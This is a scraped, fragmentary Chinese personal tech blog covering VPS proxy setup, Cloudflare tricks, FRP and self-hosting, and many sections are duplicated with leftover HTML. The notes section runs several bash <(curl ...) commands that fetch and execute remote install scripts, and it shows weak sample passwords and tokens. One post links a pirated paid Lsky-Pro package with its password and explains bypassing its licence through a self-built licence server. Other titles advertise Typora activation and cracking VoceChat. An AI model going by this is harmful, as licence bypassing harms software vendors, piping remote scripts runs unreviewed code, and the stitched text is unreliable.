Windows组件 - Windows更新</code>中的：配置自动更新 - 已禁用</li> 删除所有使用Windows更新功能的访问权限 - 已启用</li> 不要连接任何Windows更新Internet位置 - 已启用</li> Windows更新不包括驱动更新 - 已启用</li> </ul> </li> </ul> VPS融合怪测试脚本</h1> bash <(curl -sL kejilion.sh) </code></pre> 融合怪测试：8-32</li> IP纯净度测试：8-4</li> </ul> 哪吒探针Cloudflare版</h1> https://github.com/yumusb/nezha-new VPS一键魔法脚本</h1> Hysteria2（UDP）： bash <(curl -fsSL https://raw.githubusercontent.com/0x0129/hysteria2/main/install.sh) -port 0721 </code></pre> </li> Vless+Trojan+Shadowsocks： bash <(curl -s -L https://git.io/v2ray.sh) </code></pre> </li> x-ui： bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh) </code></pre> </li> </ul> Hysteria2 服务端搭建（全平台通用）</h1> 下载 Hysteria2 可执行文件： https://github.com/apernet/hysteria/releases </li> 创建自签名SSL/TLS证书： 创建私钥：openssl genpkey -algorithm RSA -out hy2.key</code></li> 创建证书签名请求：openssl req -new -key hy2.key -out hy2.csr</code></li> 创建证书：openssl x509 -req -in hy2.csr -signkey hy2.key -out hy2.crt -days 9999</code></li> </ul> </li> config.yaml</code>： </li> </ol> listen: :443 tls: cert: hy2.crt key: hy2.key auth: type: password password: 0721 masquerade: type: proxy proxy: url: https://news.ycombinator.com/ rewriteHost: true </code></pre> 启动 Hysteria2参数：server</code> </li> V2Ray客户端连接直链： hysteria2://0721@10.147.17.1:443?sni=bing.com&insecure=1#家里云 </code></pre> </li> </ol> Cloudflare一键魔法</h1> 下载 https://github.com/cmliu/edgetunnel/archive/refs/heads/main.zip 将它上传到Cloudflare Pages设置UUID。访问 https://你的域名.pages.dev/UUID Cloudflare 优选方法</h1> A、AAAA、CNAME</h3> B域名直接套CDN指向源站</li> B域名开启SaaS，设置回退源为指向源站的域名，自定义主机名为A域名</li> B域名指向优选域名，不套CDN</li> A域名指向B域名指向的优选域名的域名，不套CDN</li> </ol> Cloudflare Pages</h3> 直接在Pages创建自定义域</li> 更改子域NS到阿里云云解析DNS</li> 在阿里云云解析DNS设置解析分流</li> </ol> Cloudflare Workers</h3> 直接在Workers创建路由，如：example.com/*</li> 将被设置路由的域名解析到优选域名</li> </ol> Cloudflare 优选域名</h2> 二叉树树自用： fenliu.072103.xyz CM大佬</a>： cf.090227.xyz 微测网</a>：cloudflare.182682.xyz 魔法软件</h1> Windows： https://github.com/2dust/v2rayN Linux： https://github.com/2dust/v2rayNG 使用Cloudflared中继RDP流量</h1> cloudflared access rdp --hostname rdp.onani.cn --url rdp://localhost:3380 </code></pre> FRP相关</h1> FRP基本认证参数</h3> auth.token = "07210721" </code></pre> FRP systemd服务配置（开机自启）</h3> https://gofrp.org/zh-cn/docs/setup/systemd/ Linux Deb系安装Speedtest-cli</h1> apt install -y lsb-release ca-certificates apt-transport-https curl gnupg dpkg curl -sSL https://packagecloud.io/ookla/speedtest-cli/gpgkey | gpg --dearmor > /usr/share/keyrings/speedtest.gpg echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/speedtest.gpg] https://packagecloud.io/ookla/speedtest-cli/debian/ $(lsb_release -sc) main" > /etc/apt/sources.list.d/speedtest.list apt update apt install -y speedtest </code></pre> Linux监控面版：</h1> apt install s-tui </code></pre> Windows超级牛逼包管理器：https://scoop.sh</h1> Linux各发行版安装注意</h1> 非常新的版本一般才会有Realtek有线网卡的驱动</li> 安装Debian要使用CLI安装（GUI安装会出现问题具体的问题我忘了</del>）</li> 安装CentOS/Rocky一定要先安装GUI，否则会导致上不了网</li> 除了Arch连接网络使用iwd，其他发行版都可以用nmcli连接网络</li> </ol> 国内Linux镜像注意事项</h1> USTC（中科大源）经常会用JavaScript进行客户端验证，会导致wget和curl命令无法正确下载到文件</del>绕过USTC的浏览器JS验证 | AcoFork Blog</a>。建议使用TUNA（清华源）</li> </ol> 国内Docker镜像</h1> 1Panel Docker监控：https://status.1panel.top/status/docker</li> 南京大学GHCR镜像源：https://ghcr.nju.edu.cn</li> </ul>

AcoFork Blog Z

记录破解兰空图床（Lsky-Pro）

下载包体</h1> 兰空图床Pro付费版包： https://r2.072103.xyz/lp223.zpaq （解压密码：2x.nz二叉树树）</p>

自建授权服务器</h1> 自建结束后将 config/app.php</code> 内的 服务接口地址</code> 改为你的。就不需要每次安装都手动改响应包了</p> /** * 服务接口地址 */ 'service_api' => env('APP_SERVICE_API', 'https://huohuastudio.com'), </code></pre>

关于今天银行卡被风控冻结

被冻</h1> 今天凌晨因为一笔神秘收入，得到了3000 CNY，先是到账微信零钱，然后由银行卡作为中介转到支付宝余额宝，合并后共3718 CNY，再提回银行卡，最后尝试通过银行卡进行交易，提示被风控</p> </p>

尝试线上自助解控</h1> 通过 中国工商银行 APP 查询到该卡由于近期交易异常而被冻结，同时APP给出了一个线上自助解控的方案，也就是人脸+尽职调查，提交，显示需要1~5天</p> </p>

前往线下网点解控</h1> 因为提交的电子解控时间为早上6点，在7点半人工客服营业后咨询得知只有通过线上自助解控或线下柜面解控来解决，而根据上文，线上自助解控需要等待1~5天，我等不及，遂前往线下网点尝试办理</p>

柜面给出的冻结原因</h1> 该卡在短时间内进行多笔大额快入快出交易（共8笔），涉嫌业务违规操作，为了保证您的资金安全，对该卡的功能进行限制</strong></p>

Typora免付费激活

我从Fuwari迁移到了Zola

为什么要换</h1> 不知道，想换就换了。</p> 硬说的话就是看腻了玩腻了 想换个女朋友了</del></p>

为什么选择Zola</h1> 很早之前一个人告诉我的，好像叫 Asuna？</p> 看上了她是用Rust编写的，二进制单文件，无依赖，毫秒构建，模板语法简洁干练啥的</p>

体验如何</h1> 还可以，目前网站纯静态，应该 也没有js？</p>

包体变化？</h1> 如图</p> </p>

构建时间？</h1> 本地：20s -> 0.5s</p> </li> Vercel：40s -> 14s</p> </li> </ul> 性能提升？</h1> 老实说我觉得Lighthouse根本没参考性，看个乐</p> </p>

性能提升？</h1> 老实说我觉得Lighthouse根本没参考性，看个乐</p> </p>

atpx.com 一个有趣的神秘博客

手把手教你进入e站里站（exhentai.org）

正式开始</h1> 挂上你的美国家宽梯子</p>

你是我吗？

Giscus仅允许自己</h1> 在启用了Giscus的仓库放一个文件</p>

最后</h1> 开源是为了让大家更好的学习我的博客框架，不是让你照搬，请确认将所有内容、API端点、私有服务全部改为自己的后再上线！</p>

通过邮件混淆技术增强博客隐私

我去！GithubEdu还能再再再嫖俩免费一年域名？！

wow！有GithubEdu资格？再嫖一个免费一年的.me域名！

有Github Education？来嫖一年免费的.tech域名！

教你制作自己的Telegram Emoji！

认证为Folo的创作者

利用Netlify WebHook来实时提醒你的订阅者博客文章更新

Bot端</h1> 设置一个双监听WebHook服务器，同时接受Github和Netlify的WebHook即可。</p> </p> </p> </p>

有自己的开源项目？来申请Netlify的Open Source计划！

IPv6反解域名是什么？嫩长一坨还能托管到Cloudflare？SSL签发也没问题？

将 x.x.x.x.x.x.x.x.x.x.x.x.ip6.arpa 弄到手</h1> 视频教程： https://www.bilibili.com/video/BV1q8tBzsEPi/</p> </blockquote>

局限性</h1> 本人测试，如果您自己创建SSL.COM的账户尝试签发SSL会拒签。故该域名仅能在Cloudflare CDN下使用</p>

【开源】WPwebplayer——简洁通用的网页播放器

WPWebPlayer（html网站播放组件）</h1>

Github新版学生认证怎么过？用记事本！

你说什么？企业微信能免费用Deepseek？！还能调成猫娘？！！

关于如何加入我们自托管的m.2x.nz端到端加密聊天服务器

本服务器</h3> 无法注册？：直接点击登录，然后通过Github授权即可</p> 无法登录？：Github用户名不能为纯数字</p> 如何更改我的密码？：Github单点登录无密码，您只需要保证您的Github账户不丢失/封禁即可</p>

联邦</h3> 如何加入？：输入 #acofork:m.2x.nz</code> 即可加入</p>

为任何站点对接Giscus并且配置反垃圾！

封禁用户</h1> 如果有人一直刷屏但是反垃圾未检测到？</p> </blockquote> 你可以前往该用户个人信息页面手动封禁它</p>

平平无奇的一张图，拉高曝光就能显现另一张图？

将你的Linux硬盘映射到Windows？

大陆直连TG Web？触手可及！

原理</h1> TG Web采用前后端分离</p> 前端为静态资产，可以直接部署到Cloudflare Page</p> 后端有高达10个API，反代一下即可</p> 然后将前端请求的 .web.telegram.org</code> 改为你的域名即可</p>

正式开始</h1> 以 TG Web K举例子</p> </blockquote> TG 后端API共有10个，分别为</p>

QQ微信不够私密？自建自己的聊天服务器！

开始聊天</h1> 前往 https://app.element.io 将家服务器改为你的（必须为HTTPS）</p> 通过刚刚创建的管理员账号登录</p> 其他人可以通过邮箱注册</p>

对标CF Worker？拿EdgeOne边缘函数做一个随机图API！

注意</h1> 边缘函数每月有300万次的请求数限制，暂不知道超出是否扣费</p>

CSP标头是什么？为什么有人能神不知鬼不觉地盗走你的信息？

如何提高网站的SEO？

关于本站为什么不进行ICP备案

备案步骤繁琐</h1> 若进行备案，则需要填写实际运营人相关信息并且需要购买备案码（这是最低成本的备案方式）</p>

GFW未对本站进行SNI阻断</h1> 本站目前并未被GFW阻断。除部分省市防火墙进行非备案域阻断外皆可正常访问</p>

泉州等地区用户仅支持访问备案域？</h1> 本站之前有一个IP站点，由于业务服务器1Panel V1升级至V2破坏了原有的CI/CD工作流，暂时停用</p> 后续会进行修复并且重新恢复IP站点的运营</p>

网易云音乐歌曲时间戳获取

记录人生中第一次破解软件！FKvocechat！

那我花350买的授权谁给我补啊🤣</h1> </p>

还在用Cloudflare传统优选？来看看Cloudflare Byoip！

可以长久使用吗？</h1> 这些Byoip固然比Cloudflare官方IP段质量更好，但如果你真的要用，请设置好一个机器定时筛选不可用的IP，以及添加一些Cloudflare官方IP段，防止您的服务宕机</p>

国内对象存储免流量费？Cloudflare带宽联盟究竟是什么？

都5202年了，还有人不会自建自己的Cloudflare/EdgeOne等各种CDN的优选？

教你搭建Chevereto这个超级强大的图床！

我搭建好的</h1> https://chevereto.php.afo.im/upload</p> 登录后查看所有图片：</p> https://chevereto.php.afo.im/explore/images</p>

我用Claude10分钟写了个六子棋...?

上线！</h1> 现已可在 https://sixqi.afo.im/ 游玩！</p>

N款CDN/静态托管服务商的优缺点比较

EdgeOne CDN 中国大陆可用区</h2> 需要实名认证</strong>，需要域名备案</strong></p> 默认CNAME可用</p> </p>

利用Cloudflare Page提供的重定向功能实现无损耗、不限数量的静态重定向！

配置Vercel让ITDog测试全部403！

获取ITDog等拨测服务的IP</h1> 因为Vercel不支持IPv6，所以我们只需要获取v4IP</p> </blockquote>

创建Vercel API Token</h1> 前往 https://vercel.com/account/settings/tokens 创建一个Token</p> 抓取防火墙创建/更新接口</h1> 前往 https://vercel.com/your-projects/fuwari/firewall</p> 新增规则</p> </p> 随便写点东西然后抓包</p> </p>

下载包体</h1>
兰空图床Pro付费版包： https://r2.072103.xyz/lp223.zpaq （解压密码：2x.nz二叉树树）</p>

自建授权服务器</h1>
自建结束后将 `config/app.php</code> 内的服务接口地址</code> 改为你的。就不需要每次安装都手动改响应包了</p>`
`/** * 服务接口地址 */ 'service_api' => env('APP_SERVICE_API', 'https://huohuastudio.com'), </code></pre>`

被冻</h1>
今天凌晨因为一笔神秘收入，得到了3000 CNY，先是到账微信零钱，然后由银行卡作为中介转到支付宝余额宝，合并后共3718 CNY，再提回银行卡，最后尝试通过银行卡进行交易，提示被风控</p>
</p>

尝试线上自助解控</h1>
通过中国工商银行 APP 查询到该卡由于近期交易异常而被冻结，同时APP给出了一个线上自助解控的方案，也就是人脸+尽职调查，提交，显示需要1~5天</p>
</p>

前往线下网点解控</h1>
因为提交的电子解控时间为早上6点，在7点半人工客服营业后咨询得知只有通过线上自助解控或线下柜面解控来解决，而根据上文，线上自助解控需要等待1~5天，我等不及，遂前往线下网点尝试办理</p>

柜面给出的冻结原因</h1>
该卡在短时间内进行多笔大额快入快出交易（共8笔），涉嫌业务违规操作，为了保证您的资金安全，对该卡的功能进行限制</strong></p>

为什么要换</h1>
不知道，想换就换了。</p>
硬说的话就是看腻了玩腻了想换个女朋友了</del></p>

为什么选择Zola</h1>
很早之前一个人告诉我的，好像叫 Asuna？</p>
看上了她是用Rust编写的，二进制单文件，无依赖，毫秒构建，模板语法简洁干练啥的</p>

体验如何</h1>
还可以，目前网站纯静态，应该也没有js？</p>

包体变化？</h1>
如图</p>
</p>

构建时间？</h1>

本地：20s -> 0.5s</p> </li>

Vercel：40s -> 14s</p> </li> </ul>
性能提升？</h1>
老实说我觉得Lighthouse根本没参考性，看个乐</p>
</p>

性能提升？</h1>
老实说我觉得Lighthouse根本没参考性，看个乐</p>
</p>

最后</h1>
开源是为了让大家更好的学习我的博客框架，不是让你照搬，请确认将所有内容、API端点、私有服务全部改为自己的后再上线！</p>
你要是懒可以Fork 上游原仓库</a>从白纸开始改</a></p>

Bot端</h1>
设置一个双监听WebHook服务器，同时接受Github和Netlify的WebHook即可。</p>
</p>
</p>
</p>

局限性</h1>
本人测试，如果您自己创建SSL.COM的账户尝试签发SSL会拒签。故该域名仅能在Cloudflare CDN下使用</p>

本服务器</h3>
无法注册？：直接点击登录，然后通过Github授权即可</p>
无法登录？：Github用户名不能为纯数字</p>
如何更改我的密码？：Github单点登录无密码，您只需要保证您的Github账户不丢失/封禁即可</p>

联邦</h3>
如何加入？：输入 `#acofork:m.2x.nz</code> 即可加入</p>`

原理</h1>
TG Web采用前后端分离</p>
前端为静态资产，可以直接部署到Cloudflare Page</p>
后端有高达10个API，反代一下即可</p>
然后将前端请求的 `.web.telegram.org</code> 改为你的域名即可</p>`

开始聊天</h1>
前往 https://app.element.io 将家服务器改为你的（必须为HTTPS）</p>
通过刚刚创建的管理员账号登录</p>
其他人可以通过邮箱注册</p>

`注意</h1> 边缘函数每月有300万次的请求数限制，暂不知道超出是否扣费</p>`

备案步骤繁琐</h1>
若进行备案，则需要填写实际运营人相关信息并且需要购买备案码（这是最低成本的备案方式）</p>

GFW未对本站进行SNI阻断</h1>
本站目前并未被GFW阻断。除部分省市防火墙进行非备案域阻断外皆可正常访问</p>

泉州等地区用户仅支持访问备案域？</h1>
本站之前有一个IP站点，由于业务服务器1Panel V1升级至V2破坏了原有的CI/CD工作流，暂时停用</p>
后续会进行修复并且重新恢复IP站点的运营</p>
已恢复参见关于</a>界面</p>

`那我花350买的授权谁给我补啊🤣</h1> </p>`

可以长久使用吗？</h1>
这些Byoip固然比Cloudflare官方IP段质量更好，但如果你真的要用，请设置好一个机器定时筛选不可用的IP，以及添加一些Cloudflare官方IP段，防止您的服务宕机</p>

我搭建好的</h1>
https://chevereto.php.afo.im/upload</p>
登录后查看所有图片：</p>
https://chevereto.php.afo.im/explore/images</p>

上线！</h1>
现已可在 https://sixqi.afo.im/ 游玩！</p>
开源： GitHub - afoim/sixqi</a></p>
</p>

EdgeOne CDN 中国大陆可用区</h2>
需要实名认证</strong>，需要域名备案</strong></p>
默认CNAME可用</p>
</p>